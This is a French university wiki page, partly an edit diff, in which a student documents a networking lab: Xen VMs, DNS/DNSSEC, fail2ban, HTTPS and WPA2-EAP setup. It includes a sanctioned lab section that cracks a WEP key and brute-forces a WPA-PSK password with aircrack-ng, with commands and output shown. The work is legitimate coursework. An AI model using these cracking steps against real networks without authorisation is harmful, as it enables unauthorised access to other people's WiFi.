« Atelier SysRes SE4 2025/2026 E14 » : différence entre les versions
Aucun résumé des modifications |
Aucun résumé des modifications |
||
| (33 versions intermédiaires par 2 utilisateurs non affichées) | |||
| Ligne 1 : | Ligne 1 : | ||
'''BIERNACKI Antonin''' | |||
IOT 4 | |||
==== | 2025-2026 | ||
== Infos concernant notre binôme == | |||
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]] | |||
Mandataire : '''superman''' | |||
IP publique de la mandataire : '''193.48.57.169''' | |||
Service 1 (Antonin) : '''batman''' | |||
Nom de domaine 1 (Antonin) : '''deadpool.tech''' | |||
Nom service 2 (Billel) : '''catwoman''' | |||
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) ) | |||
Bridge : '''pont_ironman''' | |||
Réseau IPv4 : '''192.168.69.0/24''' | |||
== Création du bridge == | |||
<syntaxhighlight lang="bash"> | |||
auto pont_ironman | auto pont_ironman | ||
iface pont_ironman inet manual | iface pont_ironman inet manual | ||
| Ligne 15 : | Ligne 32 : | ||
down ip link set $IFACE down | down ip link set $IFACE down | ||
</syntaxhighlight><syntaxhighlight lang="bash"> | </syntaxhighlight><syntaxhighlight lang="bash"> | ||
ifup pont_ironman | |||
</syntaxhighlight> | |||
== Création des machines virtuelles == | |||
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :<syntaxhighlight lang="bash"> | |||
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G | |||
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G | |||
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G | |||
</syntaxhighlight>Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet. | |||
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :<syntaxhighlight lang="bash"> | |||
xen create /etc/xen/SE4.batman.cfg | xen create /etc/xen/SE4.batman.cfg | ||
xen create /etc/xen/SE4.catwoman.cfg | xen create /etc/xen/SE4.catwoman.cfg | ||
xen create /etc/xen/SE4.superman.cfg | xen create /etc/xen/SE4.superman.cfg | ||
</syntaxhighlight>< | </syntaxhighlight>xen console permet d'<nowiki/>'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :<syntaxhighlight lang="bash"> | ||
xen console SE4.batman | xen console SE4.batman | ||
xen console SE4.catwoman | xen console SE4.catwoman | ||
xen console SE4.superman | xen console SE4.superman | ||
</syntaxhighlight><syntaxhighlight lang="bash"> | </syntaxhighlight> | ||
== Configuration de la machine de services == | |||
=== Montage des partitions /home et /var === | |||
==== Sur capbreton ==== | |||
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans <code>/dev/virtual</code> de capbreton :<syntaxhighlight lang="bash"> | |||
lvcreate -n SE4.batman.home -L 10G virtual | lvcreate -n SE4.batman.home -L 10G virtual | ||
lvcreate -n SE4.batman.var -L 10G virtual | lvcreate -n SE4.batman.var -L 10G virtual | ||
</syntaxhighlight>Ensuite on vient ajouter les lignes suivante dans <code>/etc/xen/batman.cfg</code> :<syntaxhighlight lang="bash"> | |||
disk = [ | disk = [ | ||
'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w', | 'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w', | ||
| Ligne 33 : | Ligne 70 : | ||
'phy:/dev/virtual/SE4.batman.var,xvdc,w', | 'phy:/dev/virtual/SE4.batman.var,xvdc,w', | ||
] | ] | ||
</syntaxhighlight> | |||
</syntaxhighlight> | ==== Sur la machine de service ==== | ||
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :<syntaxhighlight> | |||
mkfs -t ext4 /dev/xvdb | mkfs -t ext4 /dev/xvdb | ||
mkfs -t ext4 /dev/xvdc | mkfs -t ext4 /dev/xvdc | ||
mount /dev/xvdb /mnt | mount /dev/xvdb /mnt | ||
mv /var/* /mnt | mv /var/* /mnt | ||
| Ligne 47 : | Ligne 82 : | ||
mount -a | mount -a | ||
</syntaxhighlight><syntaxhighlight lang="bash"> | </syntaxhighlight>Ajouter ces lignes dans <code>/etc/fstab</code> afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :<syntaxhighlight lang="bash"> | ||
/dev/xvdb /var ext4 defaults 0 2 | |||
/dev/xvdc /home ext4 defaults 0 2 | |||
</syntaxhighlight>Enfin vous pouvez '''redémarrer''' la VM sur capbreton : <syntaxhighlight lang="bash"> | |||
xen shutdown SE4.batman | |||
xen create /etc/xen/SE4.batman.cfg | |||
</syntaxhighlight> | |||
=== Configuration réseau === | |||
On modifie le fichier <code>/etc/network/interfaces</code> comme suivant :<syntaxhighlight lang="bash"> | |||
auto lo | |||
iface lo inet loopback | |||
# IPv4 | |||
auto eth0 | |||
iface eth0 inet static | |||
address 192.168.69.2/24 IPv4 de batman (service) | |||
gateway 192.168.69.1 IPv4 de superman (mandataire) | |||
# IPv6 | |||
auto eth1 | |||
iface eth1 inet6 auto | |||
</syntaxhighlight> | |||
== Configuration de la machine mandataire == | |||
On modifie le fichier <code>/etc/network/interfaces</code> comme suivant :<syntaxhighlight lang="bash"> | |||
auto lo | |||
iface lo inet loopback | |||
# IPv4 | |||
auto eth0 | auto eth0 | ||
iface eth0 inet static | iface eth0 inet static | ||
address | address 192.168.69.1/24 # IPv4 de superman (mandataire) | ||
auto eth1 | auto eth1 | ||
iface eth1 inet static | iface eth1 inet static | ||
address 193.48.57.169/27 | address 193.48.57.169/27 # IPv4 publique de superman | ||
gateway 193.48.57.162 | gateway 193.48.57.162 | ||
</syntaxhighlight> | </syntaxhighlight>On modifie le fichier <code>/etc/xen/SE4.batman.cfg</code> sur capbreton<syntaxhighlight lang="bash"> | ||
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ] | |||
</syntaxhighlight>Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :<syntaxhighlight lang="bash"> | |||
reboot | |||
ifdown eth1; ifup eth1 | |||
</syntaxhighlight> | |||
== Configuration SSH et Mascarade == | |||
Ces commandes permettent de '''synchroniser l'heure''' du système :<syntaxhighlight lang="bash"> | |||
apt update | apt update | ||
apt install ntp ntpdate host | apt install ntp ntpdate host | ||
apt install ntpsec ntpsec-ntpdate host | apt install ntpsec ntpsec-ntpdate host | ||
date | date | ||
</syntaxhighlight> | </syntaxhighlight> | ||
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. <syntaxhighlight lang="bash"> | |||
<syntaxhighlight lang="bash"> | |||
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24 | iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24 | ||
iptables-save | iptables-save | ||
</syntaxhighlight> | </syntaxhighlight>Dans les '''trois VMs''' on modifie <code>/etc/ssh/sshd_config</code> en ajoutant : | ||
PermitRootLogin yes | |||
On peut ensuite '''redémarrer''' le service ssh : | |||
/etc/init.d/ssh restart | |||
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :<syntaxhighlight lang="bash"> | |||
<syntaxhighlight lang="bash"> | |||
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22 | iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22 | ||
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22 | iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22 | ||
iptables-save | iptables-save | ||
</syntaxhighlight> | </syntaxhighlight>Dans le fichier <code>/etc/sysctl.conf</code> la ligne suivante doit être '''décommentée''' :<syntaxhighlight lang="bash"> | ||
net.ipv4.ip_forward=1 | |||
</syntaxhighlight>Nous avons aussi installer <code>iptables-persistent</code> pour éviter de perdre la configuration à chaque reboot.<syntaxhighlight lang="bash"> | |||
apt install iptables-persistant | apt install iptables-persistant | ||
</syntaxhighlight> | </syntaxhighlight>Désormais le ssh peut être fait via les commandes suivantes :<syntaxhighlight lang="bash"> | ||
# ssh en IPV4 | |||
ssh root@<add_ipv4> -p 2202 | |||
# ssh en IPV6 | |||
ssh root@<add_ipv6> | |||
</syntaxhighlight> | |||
== DNS et DNSSEC == | |||
On modifie le fichier <code>/etc/bind/named.conf.local</code> afin de fait passer par notre DNS et d'avoir le second DNS en backup :<syntaxhighlight lang="bash"> | |||
< | |||
dnssec-policy "dnspol" { | dnssec-policy "dnspol" { | ||
keys { | keys { | ||
| Ligne 151 : | Ligne 184 : | ||
}; | }; | ||
zone "dardevil.tech" { | zone "dardevil.tech" { | ||
type secondary; | type secondary; | ||
| Ligne 157 : | Ligne 189 : | ||
masters{2001:660:4401:60a0:216:3eff:fe8f:4743;}; | masters{2001:660:4401:60a0:216:3eff:fe8f:4743;}; | ||
}; | }; | ||
</syntaxhighlight>Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech<syntaxhighlight lang="bash"> | </syntaxhighlight>Création d'un dossier zones dans <code>/etc/bind</code> et y créer le fichier <code>db.deadpool.tech</code><syntaxhighlight lang="bash"> | ||
$TTL 400 | $TTL 400 | ||
| Ligne 169 : | Ligne 201 : | ||
); | ); | ||
@ IN NS ns.dardevil.tech. | |||
@ IN NS ns.deadpool.tech. | |||
ns IN AAAA 2001:660:4401:60a0:216:3eff: | ns IN A 193.48.57.169 | ||
@ IN AAAA 2001:660:4401:60a0:216:3eff: | ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743 | ||
@ IN A 193.48.57.169 | |||
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743 | |||
www IN CNAME deadpool.tech | www IN CNAME deadpool.tech. | ||
</syntaxhighlight>Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)<syntaxhighlight lang="bash"> | </syntaxhighlight> | ||
Modification du fichier <code>/etc/resolv.conf</code> (il faut '''commenter''' tous les autres servers)<syntaxhighlight lang="bash"> | |||
search deadpool.tech | search deadpool.tech | ||
search dardevil.tech | search dardevil.tech | ||
nameserver 192.168.69.2 | nameserver 192.168.69.2 | ||
nameserver 192.168.69.3 | nameserver 192.168.69.3 | ||
</syntaxhighlight> | </syntaxhighlight>Creation d'un repertoire keys avec les droits nécessaires :<syntaxhighlight lang="bash"> | ||
mkdir /etc/bind/keys | |||
</syntaxhighlight>Si il y a des erreurs la commande suivante permet de les identifier<syntaxhighlight lang="bash"> | chown bind:bind /etc/bind/keys | ||
chmod 750 /etc/bind/keys | |||
</syntaxhighlight> | |||
Si il y a des erreurs la commande suivante permet de les identifier<syntaxhighlight lang="bash"> | |||
named-checkconf /etc/bind/named.conf | named-checkconf /etc/bind/named.conf | ||
</syntaxhighlight>Pour tester le DNS depuis la machine de service<syntaxhighlight lang="bash"> | </syntaxhighlight>Pour tester le DNS depuis la machine de service<syntaxhighlight lang="bash"> | ||
| Ligne 200 : | Ligne 239 : | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Fail2ban | Pour '''restart''' le service<syntaxhighlight lang="bash"> | ||
service named restart | |||
</syntaxhighlight> | |||
Génération de la clé pour le certificat sur batman<syntaxhighlight lang="bash"> | |||
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr | |||
Country Name (2 letter code) [AU]:FR | |||
State or Province Name (full name) [Some-State]:Nord | |||
Locality Name (eg, city) []:Lille | |||
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille | |||
Organizational Unit Name (eg, section) []:IOT | |||
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech | |||
Email Address []:antonin.biernacki@polytech-lille.net | |||
</syntaxhighlight>On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]] | |||
== Fail2ban == | |||
Il faut commencer par installer fail2ban | Il faut commencer par installer fail2ban | ||
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban<syntaxhighlight> | Ensuite il faut créer un fichier <code>jail.local</code> dans le dossier <code>/etc/fail2ban</code> | ||
<syntaxhighlight> | |||
[sshd] | [sshd] | ||
enable = true port = ssh filter = sshd maxretry = 5 findtime = 300 bantime = 600 | enable = true | ||
</syntaxhighlight>Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)<syntaxhighlight> | port = ssh | ||
filter = sshd | |||
maxretry = 5 | |||
findtime = 300 | |||
bantime = 600 | |||
</syntaxhighlight>Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans <code>fail2ban.conf</code> (ligne 58 à 62)<syntaxhighlight> | |||
Option: allowipv6 | Option: allowipv6 | ||
Notes.: Allows IPv6 interface: | Notes.: Allows IPv6 interface: | ||
| Ligne 212 : | Ligne 273 : | ||
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto | Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto | ||
allowipv6 = auto | allowipv6 = auto | ||
</syntaxhighlight>Enfin pour lancer le service il faut rentrer la | </syntaxhighlight> | ||
Enfin pour '''lancer le service''' il faut rentrer la commande suivante : | |||
<syntaxhighlight lang="bash"> | |||
service fail2ban restart | service fail2ban restart | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== HTTPS == | |||
Dans le dossier /etc/apache2/sites-available | Dans le dossier <code>/etc/apache2/sites-available</code> | ||
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)<syntaxhighlight lang="bash"> | On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)<syntaxhighlight lang="bash"> | ||
<VirtualHost *:80> | <VirtualHost *:80> | ||
ServerName deadpool.tech | ServerName deadpool.tech | ||
| Ligne 249 : | Ligne 313 : | ||
</VirtualHost> | </VirtualHost> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
On entre ensuite les | On entre ensuite les commande suivantes :<syntaxhighlight lang="bash"> | ||
a2enmod ssl | a2enmod ssl | ||
service apache restart | service apache restart | ||
| Ligne 255 : | Ligne 319 : | ||
service apache2 reload | service apache2 reload | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Effraction WIFI == | |||
=== Cassage de clef WEP d’un point d’accès WiFi === | |||
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant). | |||
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. | |||
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''. | |||
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :<syntaxhighlight lang="bash"> | |||
ip link | |||
</syntaxhighlight>Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'<nowiki/>'''identifier l'adresse IP de notre cracotte02'''.<syntaxhighlight lang="bash"> | |||
sudo airodump-ng wlx40a5efd21410 | |||
</syntaxhighlight>Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :<syntaxhighlight lang="bash"> | |||
04:DA:D2:9C:50:51 -62 231 0 0 4 54e. WEP WEP cracotte02 | |||
</syntaxhighlight>Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :<syntaxhighlight lang="bash"> | |||
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump | |||
</syntaxhighlight>Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) : | |||
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :<syntaxhighlight lang="bash"> | |||
aircrack-ng log_airodump-05.cap | |||
</syntaxhighlight>Le résultat suivant est le bon on a un '''KEY FOUND''' !!<syntaxhighlight lang="bash"> | |||
Aircrack-ng 1.7 | |||
[00:00:00] Tested 808 keys (got 54157 IVs) | |||
KB depth byte(vote) | |||
0 0/ 13 FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416) | |||
1 0/ 1 01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416) | |||
2 9/ 2 D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136) | |||
3 0/ 1 08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392) | |||
4 8/ 4 9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880) | |||
KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ] | |||
Decrypted correctly: 100% | |||
</syntaxhighlight> | |||
=== Cassage de mot de passe WPA-PSK par force brute === | |||
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :<syntaxhighlight lang="bash"> | |||
44:AD:D9:5F:87:01 -47 5 0 0 13 54e. WPA2 CCMP PSK kracotte02 | |||
</syntaxhighlight> | |||
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :<syntaxhighlight lang="python3"> | |||
with open("dictionnaire_8_chiffres.txt", "w") as f: | |||
for i in range(100000000): | |||
f.write(f"{i:08d}\n") | |||
</syntaxhighlight> | |||
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt. | |||
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :<syntaxhighlight lang="bash"> | |||
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 | |||
</syntaxhighlight>Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :<syntaxhighlight lang="bash"> | |||
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13 | |||
</syntaxhighlight>La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :<syntaxhighlight lang="bash"> | |||
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap | |||
</syntaxhighlight>Nous avons le bon résultat un nouveau '''KEY FOUND''' !!<syntaxhighlight lang="bash"> | |||
Aircrack-ng 1.7 | |||
[00:37:28] 66655552/100000000 keys tested (29360.85 k/s) | |||
Time left: 18 minutes, 55 seconds 66.66% | |||
KEY FOUND! [ 66688666 ] | |||
Master Key : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C | |||
B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA | |||
Transient Key : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |||
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |||
EAPOL HMAC : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B | |||
</syntaxhighlight> | |||
== Sécurisation WiFi par WPA2-EAP == | |||
=== Partie VLAN === | |||
Depuis la machine batman on se '''ssh sur le routeur''' via cette commande :<syntaxhighlight lang="bash"> | |||
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1 | |||
</syntaxhighlight> | |||
Entrez ensuite les commandes suivantes pour le dhcp :<syntaxhighlight lang="bash"> | |||
C9200-E304>en | |||
C9200-E304>configure | |||
C9200-E304(config)#ip dhcp pool PoolAntonin | |||
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0 | |||
C9200-E304(dhcp-config)#dns-server 193.48.57.169 | |||
C9200-E304(dhcp-config)#default-router 10.60.14.254 | |||
C9200-E304(dhcp-config)#exit | |||
C9200-E304(config)#exit | |||
C9200-E304>write | |||
</syntaxhighlight>Enfin pour vérifier les commandes ont données ce que l'on souhaite<syntaxhighlight lang="bash"> | |||
C9200-E304#show running-config | |||
</syntaxhighlight> | |||
'''Création du Vlan24''' avec le nom PoolAntonin :<syntaxhighlight lang="bash"> | |||
C9200-E304>en | |||
C9200-E304>configure | |||
C9200-E304(config)#Vlan 24 | |||
C9200-E304(vlan-config)#name PoolAntonin | |||
C9200-E304(vlan-config)#exit | |||
C9200-E304(config)#exit | |||
C9200-E304>write | |||
</syntaxhighlight> | |||
Pour configurer le '''vlan''' que nous venons de créer ainsi que le '''VRRP''' j'ai fait ceci : ('''/!\''' l'adresse IPv4 de votre vlan doit être mise dans le tableau commun sur le wiki afin d'éviter tout conflit avec une autre personne)<syntaxhighlight lang="bash"> | |||
C9200-E304(config)#interface Vlan24 | |||
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0 | |||
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64 | |||
C9200-E304(config-if)#vrrp 24 address-family ipv4 | |||
C9200-E304(config-if-vrrp)#priority 110 | |||
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary | |||
C9200-E304(config-if-vrrp)#exit-vrrp | |||
C9200-E304(config-if)#end | |||
</syntaxhighlight> | |||
=== Partie WIFI === | |||
On peut exit enfin pour se ssh cette fois sur la partie '''wifi''' :<syntaxhighlight lang="bash"> | |||
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4 | |||
</syntaxhighlight> | |||
On entre ensuite les commandes suivantes, inspirées de celle du sujet, afin de configurer notre '''point d'accès wifi''' :<syntaxhighlight lang="bash"> | |||
conf t | |||
aaa new-model | |||
aaa authentication login eap_student14 group radius_student14 | |||
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14 | |||
aaa group server radius radius_student14 | |||
server 192.168.69.3 auth-port 1812 acct-port 1813 | |||
exit | |||
dot11 ssid VM_SERVICES_14 | |||
vlan 24 | |||
authentication open eap eap_student14 | |||
authentication network-eap eap_student14 | |||
authentication key-management wpa | |||
mbssid guest-mode | |||
exit | |||
interface Dot11Radio0 | |||
encryption vlan 24 mode ciphers aes-ccm | |||
exit | |||
interface Dot11Radio0.24 | |||
encapsulation dot1Q 24 | |||
bridge-group 24 | |||
exit | |||
interface GigabitEthernet0.24 | |||
encapsulation dot1Q 24 | |||
bridge-group 24 | |||
exit | |||
interface Dot11Radio0 | |||
ssid VM_SERVICES_14 | |||
exit | |||
</syntaxhighlight> | |||
Par le suite nous avons modifié plusieurs fichiers sans succès. Cette dernière partie est donc '''incomplète''' et ne permet pas de validé cette dernière. | |||
2001:660:4401:60a0:216:3eff:fe19:f03c | 2001:660:4401:60a0:216:3eff:fe19:f03c | ||
Version actuelle datée du 23 février 2026 à 10:52
BIERNACKI Antonin
IOT 4
2025-2026
Infos concernant notre binôme
Binôme : CHEKLAT Billel Atelier SysRes SE4 2025/2026 E13
Mandataire : superman
IP publique de la mandataire : 193.48.57.169
Service 1 (Antonin) : batman
Nom de domaine 1 (Antonin) : deadpool.tech
Nom service 2 (Billel) : catwoman
Nom de domaine 1 (Billel) : dardevil.tech (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )
Bridge : pont_ironman
Réseau IPv4 : 192.168.69.0/24
Création du bridge
auto pont_ironman
iface pont_ironman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
ifup pont_ironman
Création des machines virtuelles
Nous avons créé nos trois machines sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G
Ces commandes vous donnent un tableau récapitulatif avec un le root password qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp robuste car cette machine sera sur internet. xen create permet de démarrer les machines avec leur fichiers de configuration :
xen create /etc/xen/SE4.batman.cfg
xen create /etc/xen/SE4.catwoman.cfg
xen create /etc/xen/SE4.superman.cfg
xen console permet d'accéder à la console de la machine virtuelle (pour quitter la console un exit suffit et pour quitter la saisie de connection Ctrl + Shift + 5) :
xen console SE4.batman
xen console SE4.catwoman
xen console SE4.superman
Configuration de la machine de services
Montage des partitions /home et /var
Sur capbreton
Pour créer les partitions /home et /var on entre les deux commandes suivantes dans /dev/virtual de capbreton :
lvcreate -n SE4.batman.home -L 10G virtual
lvcreate -n SE4.batman.var -L 10G virtual
Ensuite on vient ajouter les lignes suivante dans /etc/xen/batman.cfg :
disk = [
'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',
'phy:/dev/virtual/SE4.batman.home,xvdb,w',
'phy:/dev/virtual/SE4.batman.var,xvdc,w',
]
Sur la machine de service
Pour formater et monter les partitions nous utilisons les commandes suivantes (/!\ pas dans capbreton) :
mkfs -t ext4 /dev/xvdb
mkfs -t ext4 /dev/xvdc
mount /dev/xvdb /mnt
mv /var/* /mnt
umount /mnt
mount -aAjouter ces lignes dans /etc/fstab afin que les partitions soient montées de façon automatiques au démarrage de la VM :
/dev/xvdb /var ext4 defaults 0 2
/dev/xvdc /home ext4 defaults 0 2
Enfin vous pouvez redémarrer la VM sur capbreton :
xen shutdown SE4.batman
xen create /etc/xen/SE4.batman.cfg
Configuration réseau
On modifie le fichier /etc/network/interfaces comme suivant :
auto lo
iface lo inet loopback
# IPv4
auto eth0
iface eth0 inet static
address 192.168.69.2/24 IPv4 de batman (service)
gateway 192.168.69.1 IPv4 de superman (mandataire)
# IPv6
auto eth1
iface eth1 inet6 auto
Configuration de la machine mandataire
On modifie le fichier /etc/network/interfaces comme suivant :
auto lo
iface lo inet loopback
# IPv4
auto eth0
iface eth0 inet static
address 192.168.69.1/24 # IPv4 de superman (mandataire)
auto eth1
iface eth1 inet static
address 193.48.57.169/27 # IPv4 publique de superman
gateway 193.48.57.162
On modifie le fichier /etc/xen/SE4.batman.cfg sur capbreton
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]
Une fois cela fait on peut redémarrer la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :
reboot
ifdown eth1; ifup eth1
Configuration SSH et Mascarade
Ces commandes permettent de synchroniser l'heure du système :
apt update
apt install ntp ntpdate host
apt install ntpsec ntpsec-ntpdate host
date
La mascarade se configure avec iptables, et consiste à donne une adresse IPv4 qui permet d'accéder à internet.
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24
iptables-save
Dans les trois VMs on modifie /etc/ssh/sshd_config en ajoutant :
PermitRootLogin yes
On peut ensuite redémarrer le service ssh :
/etc/init.d/ssh restart
La redirection du port ssh ce fait via les commandes suivantes sur la machine mandataire :
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22
iptables-save
Dans le fichier /etc/sysctl.conf la ligne suivante doit être décommentée :
net.ipv4.ip_forward=1
Nous avons aussi installer iptables-persistent pour éviter de perdre la configuration à chaque reboot.
apt install iptables-persistant
Désormais le ssh peut être fait via les commandes suivantes :
# ssh en IPV4
ssh root@<add_ipv4> -p 2202
# ssh en IPV6
ssh root@<add_ipv6>
DNS et DNSSEC
On modifie le fichier /etc/bind/named.conf.local afin de fait passer par notre DNS et d'avoir le second DNS en backup :
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
zone "deadpool.tech" {
type master;
file "/etc/bind/db.deadpool.tech";
